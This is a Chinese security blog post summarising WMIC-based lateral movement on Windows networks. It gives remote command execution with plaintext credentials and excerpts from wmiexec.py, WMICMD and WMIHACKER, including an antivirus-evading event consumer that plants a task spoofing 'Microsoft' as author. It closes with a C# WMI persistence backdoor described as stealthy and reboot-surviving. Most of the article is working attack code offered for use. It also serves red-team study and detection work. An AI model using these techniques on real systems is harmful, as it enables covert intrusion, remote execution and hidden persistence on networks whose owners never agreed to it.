前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网横向移动执行命令方法之 wmic 利用总结

内网横向移动执行命令方法之 wmic 利用总结

作者头像
信安之路
发布2021-11-02 10:21:26
4.2K0
发布2021-11-02 10:21:26
举报
文章被收录于专栏:信安之路

本文作者:Z1NG(信安之路核心作者)

内网中,由于大多数 Windows 系统自带 wmic 命令, 所以 WMIC 是内网横向的常用方法之一,使用 WMI 的前置要求是,目标端口开放 135 端口,且允许随机一个高位端口进行通信。这是由于 WMI 是先通过 135 端口建立连接,而后通过随机的高位端口进行数据传输。

直接使用系统自带的 WMIC 进行连接,执行命令是无回显的,常常需要将执行的返回结果写入文件,再通过文件读取的方式将回显带回来。

代码语言:javascript
复制
WMIC /Node:192.168.159.130 /user:test\administrator /password:admin123! Process Call Create "cmd /c whoami > C:\Users\Test2019\AppData\Local\Temp\rs.log"

利用 net use 查看文件

代码语言:javascript
复制
net use \\192.168.159.130\c$
type \\192.168.159.130\c$\Users\Test2019\AppData\Local\Temp\rs.log

常用工具

为了更方便的利用 WMIC,已有不少开源的利用工具,此处介绍一下三个比较有代表性的利用工具。

  1. wmiexec.py
  2. wmicmd
  3. WMIHACKER

wmiexec.py

首先是 impacket 工具包里的 wmiexec.py。提供了通过 wmi 执行命令并回显的功能。其原理较为简单:通过 wmi 执行命令,并将执行结果保存文件,通过 smb 读取返回结果。如下是 wmiexec.py 的一个片段,其中 __output 为输出的临时文件, __transferClient 为 smb 的连接。所以,该工具的使用条件是需要 445、135 和高位随机的一个端口都允许通信。

代码语言:javascript
复制
class RemoteShell(cmd.Cmd):
    def __init__(self, share, win32Process, smbConnection, shell_type, silentCommand=False):
        cmd.Cmd.__init__(self)
        self.__share = share
        self.__output = '\\' + OUTPUT_FILENAME
        self.__outputBuffer = str('')
        self.__shell = 'cmd.exe /Q /c '
        self.__shell_type = shell_type
        self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc '
        self.__win32Process = win32Process
        self.__transferClient = smbConnection
        self.__silentCommand = silentCommand
        self.__pwd = str('C:\\')
        self.__noOutput = False
        self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'
        # We don't wanna deal with timeouts from now on.
        if self.__transferClient is not None:
            self.__transferClient.setTimeout(100000)
            self.do_cd('\\')
        else:
            self.__noOutput = True
        # If the user wants to just execute a command without cmd.exe, set raw command and set no output
        if self.__silentCommand is True:
            self.__shell = ''

wmiexec.py 还支持无回显的方式进行命令执行。这种方式是不会建立 SMB 连接,也就不需要 445 端口的开放。

代码语言:javascript
复制

    parser.add_argument('-nooutput', action='store_true', default=False, help='whether or not to print the output '
                                                                             '(no SMB connection created)')

WMICMD

WMICMD 的实现原理和 wmiexec.py 有些出入。上面介绍了 WMICMD 之所以能得到回显的原因,是借助了 445 端口的 SMB 连接。而 WMICMD 能够做到不需要 445 端口就可以完成命令执行并回显。其原理是通过命令执行将执行结果写入注册表之中,再通过 WMI 对注册表进行操作,读取结果,这样一来就不需要 445 端口了。如下是 WMICMD 通过注册表获取执行结果回显的代码片段。

代码语言:javascript
复制
public string GetFilthyStdOut(string strKey)
        {
            StringBuilder strOut = new StringBuilder();
            bool bSeenFinishedMarker = false;
            Console.WriteLine("[i] Getting stdout from registry from " + strKey);
            ManagementClass registry = new ManagementClass(this.Scope, new ManagementPath("StdRegProv"), null);
            // Enumerate the values
            ManagementBaseObject inParams = registry.GetMethodParameters("EnumValues");
            inParams["sSubKeyName"] = strKey;
            inParams["hDefKey"] = RegHive.HKEY_LOCAL_MACHINE;
            ManagementNamedValueCollection objCtx = new ManagementNamedValueCollection();
            objCtx.Add("__ProviderArchitecture", 64);
            objCtx.Add("__RequiredArchitecture", true);
            InvokeMethodOptions invokeOptions = new InvokeMethodOptions();
            invokeOptions.Context = objCtx;
            ManagementBaseObject outParams = registry.InvokeMethod("EnumValues", inParams, invokeOptions);
            string[] strValues = outParams["sNames"] as string[];

WMIHACKER

WMIHACKER 也是通过将命令执行将执行结果写入到注册表,但不一样的地方是 wmiexe.pywmicmd 是通过创建一个 win32Process 进程来执行命令,而 WMIHACKER 是使用事件触发器来调用 VB 代码,达到命令执行的效果。根据介绍,这种方式在当时可以绕过杀软。

如下是 WMIHACKER中AddSCHTASKWithres 函数的部分代码,可以看到,通过字符串的拼接组装构成了一个脚本代码,再利用了 ActiveScriptEventConsumer 在特定情况下会执行该脚本,避免使用了 Win32Process 来创建进程。

代码语言:javascript
复制
Function AddSCHTASKWithres(cmd,file)
    Set temp = SubobjSWbemServices.Get("ActiveScriptEventConsumer")
    Set asec = temp.spawninstance_
    Dim Schedule_Name
    Schedule_Name = genStr(6,12)
    wscript.echo "WMIHACKER : The Schedule Name is " &Schedule_Name
    asec.name="Windows COM Config Consumer"
    Asec.scriptingengine="vbscript"
    Asec.scripttext = "Const TriggerTypeDaily = 1 "&chr(10)&_
    "Const ActionTypeExec = 0 "&chr(10)&_
    "Set service = CreateObject(" &chr(34)&"Schedule.Service" &chr(34)&")"&chr(10)&_
    "Call service.Connect"&chr(10)&_
    "Dim rootFolder"&chr(10)&_
    "Set rootFolder = service.GetFolder(" &chr(34)&"\" &chr(34)&")"&chr(10)&_
    "Dim taskDefinition"&chr(10)&_
    "Set taskDefinition = service.NewTask(0)"&chr(10)&_
    "Dim regInfo"&chr(10)&_
    "Set regInfo = taskDefinition.RegistrationInfo"&chr(10)&_
    "regInfo.Description = " &chr(34)&"Update" &chr(34)&""&chr(10)&_
    "regInfo.Author = " &chr(34)&"Microsoft" &chr(34)&""&chr(10)&_
    "Dim settings"&chr(10)&_
    "Set settings = taskDefinition.settings"&chr(10)&_
    "settings.Enabled = True"&chr(10)&_
    "settings.StartWhenAvailable = True"&chr(10)&_
    "settings.Hidden = False"&chr(10)&_
    "settings.DisallowStartIfOnBatteries = False"&chr(10)&_
    "Dim triggers"&chr(10)&_
    "Set triggers = taskDefinition.triggers"&chr(10)&_
    "Dim trigger"&chr(10)&_
    "Set trigger = triggers.Create(7)"&chr(10)&_
    "Dim Action"&chr(10)&_
    "Set Action = taskDefinition.Actions.Create(ActionTypeExec)"&chr(10)&_
    "Action.Path = " &chr(34)&"c:\windows\system32\cmd.exe" &chr(34)&""&chr(10)&_
    "Action.arguments = chr(34) & " &chr(34)&"/c "&cmd&" > "&file&"" &chr(34)&" & chr(34)"&chr(10)&_
    "Dim objNet, LoginUser"&chr(10)&_
    "Set objNet = CreateObject(" &chr(34)&"WScript.Network" &chr(34)&")"&chr(10)&_
    "LoginUser = objNet.UserName"&chr(10)&_
    "    If UCase(LoginUser) = " &chr(34)&"SYSTEM" &chr(34)&" Then"&chr(10)&_
    "    Else"&chr(10)&_
    "    LoginUser = Empty"&chr(10)&_
    "    End If"&chr(10)&_
    "Call rootFolder.RegisterTaskDefinition(" & chr(34) & Schedule_Name &chr(34)&", taskDefinition, 6, LoginUser, , 3)"&chr(10)&_
    "Call rootFolder.DeleteTask(" &chr(34)& Schedule_Name &chr(34)&",0)"
    set asecpath=asec.put_                                        
    Set temp = SubobjSWbemServices.Get("__EventFilter")
    set evtflt = temp.spawninstance_
    evtflt.name="Windows COM Config Filter" 
    evtflt.EventNameSpace="root\cimv2"                         
    qstr = "SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
    evtflt.query=qstr                                             
    evtflt.querylanguage="wql"                                    
    set fltpath=evtflt.put_                                       
    Set temp = SubobjSWbemServices.Get("__FilterToConsumerBinding")
    set fcbnd = temp.spawninstance_
    fcbnd.consumer=asecpath.path
    fcbnd.filter=fltpath.path
    fcbnd.put_
    WScript.Sleep 2000 ' 2 sec
    evtflt.delete_
    asec.delete_
    fcbnd.delete_
    ReplacedFile = Replace(file,"\","\\")
    strQuery = "SELECT * FROM CIM_DataFile where name="&chr(34)&ReplacedFile&chr(34)
    Dim done
    done = false
    Do Until done
        Wscript.Sleep 2000
        Set colItems = objWMIService.ExecQuery(strQuery, "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
        For Each objItem in colItems
            return = objItem.GetEffectivePermission(2)
            If return Then
                WScript.Echo "WMIHACKER : File Write Success. "
                done = True
            Else
                WScript.Echo "WMIHACKER : COMMAND EXECTING... "
            End If
        Next
    loop
    wscript.echo "WMIHACKER : COMMAND EXEC SUCCESS, Wait to write in reg."
End Function

WMI 后门

WMICHACK 中使用事件触发器来完成命令执行,不仅如此,我们可以借助使用触发器来创建一个后门,

WMI 后门创建组要分为三个部分,EventFilterEventConsumerFilterToConsumerBinding。个人理解EventFilter 是触发的条件,EventConsumer 是触发后所要执行的动作,FilterToConsumerBinding 则是将二者进行绑定。如下代码,是使用C#编写的一个后门 Demo,可以实现在固定间隔时间后执行特定程序,且由于WMI后门的特性,重启后仍然还在,比较隐蔽。

代码语言:javascript
复制
using System;
using System.Collections.Generic;
using System.Linq;
using System.Management;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace WMICore
{
    public partial class WMICore
    {
        public string CreateEventFilter(string EventName,int time)
        {
            ManagementClass wmiEventFilter = new ManagementClass(this.scope, new ManagementPath("__EventFilter"), null);
            String strQuery = @"SELECT * FROM __InstanceModificationEvent WITHIN "+time+" WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'";
            WqlEventQuery myEventQuery = new WqlEventQuery(strQuery);
            var myEventFilter = wmiEventFilter.CreateInstance();
            myEventFilter["Name"] = EventName;
            myEventFilter["Query"] = myEventQuery.QueryString;
            myEventFilter["QueryLanguage"] = myEventQuery.QueryLanguage;
            myEventFilter["EventNameSpace"] = @"\root\cimv2";
            myEventFilter.Put();
            var eventPath = myEventFilter.Path.RelativePath; 
            Console.WriteLine("[*] Event filter created :" + eventPath);
            return eventPath;
        }
        public string CreateEventConsumer(string name,string exePath) {
            var myEventConsumer = new ManagementClass(scope, new ManagementPath("CommandLineEventConsumer"), null).CreateInstance();
            myEventConsumer["Name"] = name;
            myEventConsumer["CommandLineTemplate"] = exePath;
            myEventConsumer["ExecutablePath"] = exePath;
            myEventConsumer.Put();
            var eventConsumerPath = myEventConsumer.Path.RelativePath;
            Console.WriteLine("[*] Consumer filter created :" + eventConsumerPath);
            return eventConsumerPath;
        }
        public void Binder(string myEventFilter,string myEventConsumer) {
            var myBinder = new ManagementClass(scope, new ManagementPath("__FilterToConsumerBinding"), null).CreateInstance();
            myBinder["Filter"] = myEventFilter;
            myBinder["Consumer"] = myEventConsumer;
            myBinder.Put();
            Console.WriteLine("[*] Subscription created");
        }
    }
}

参考链接

http://www.exploit-monday.com/2016/08/wmi-persistence-using-wmic.html

Study Notes of WMI Persistence using wmic.exe (3gstudent.github.io)

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-10-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 常用工具
    • wmiexec.py
    相关产品与服务
    命令行工具
    腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档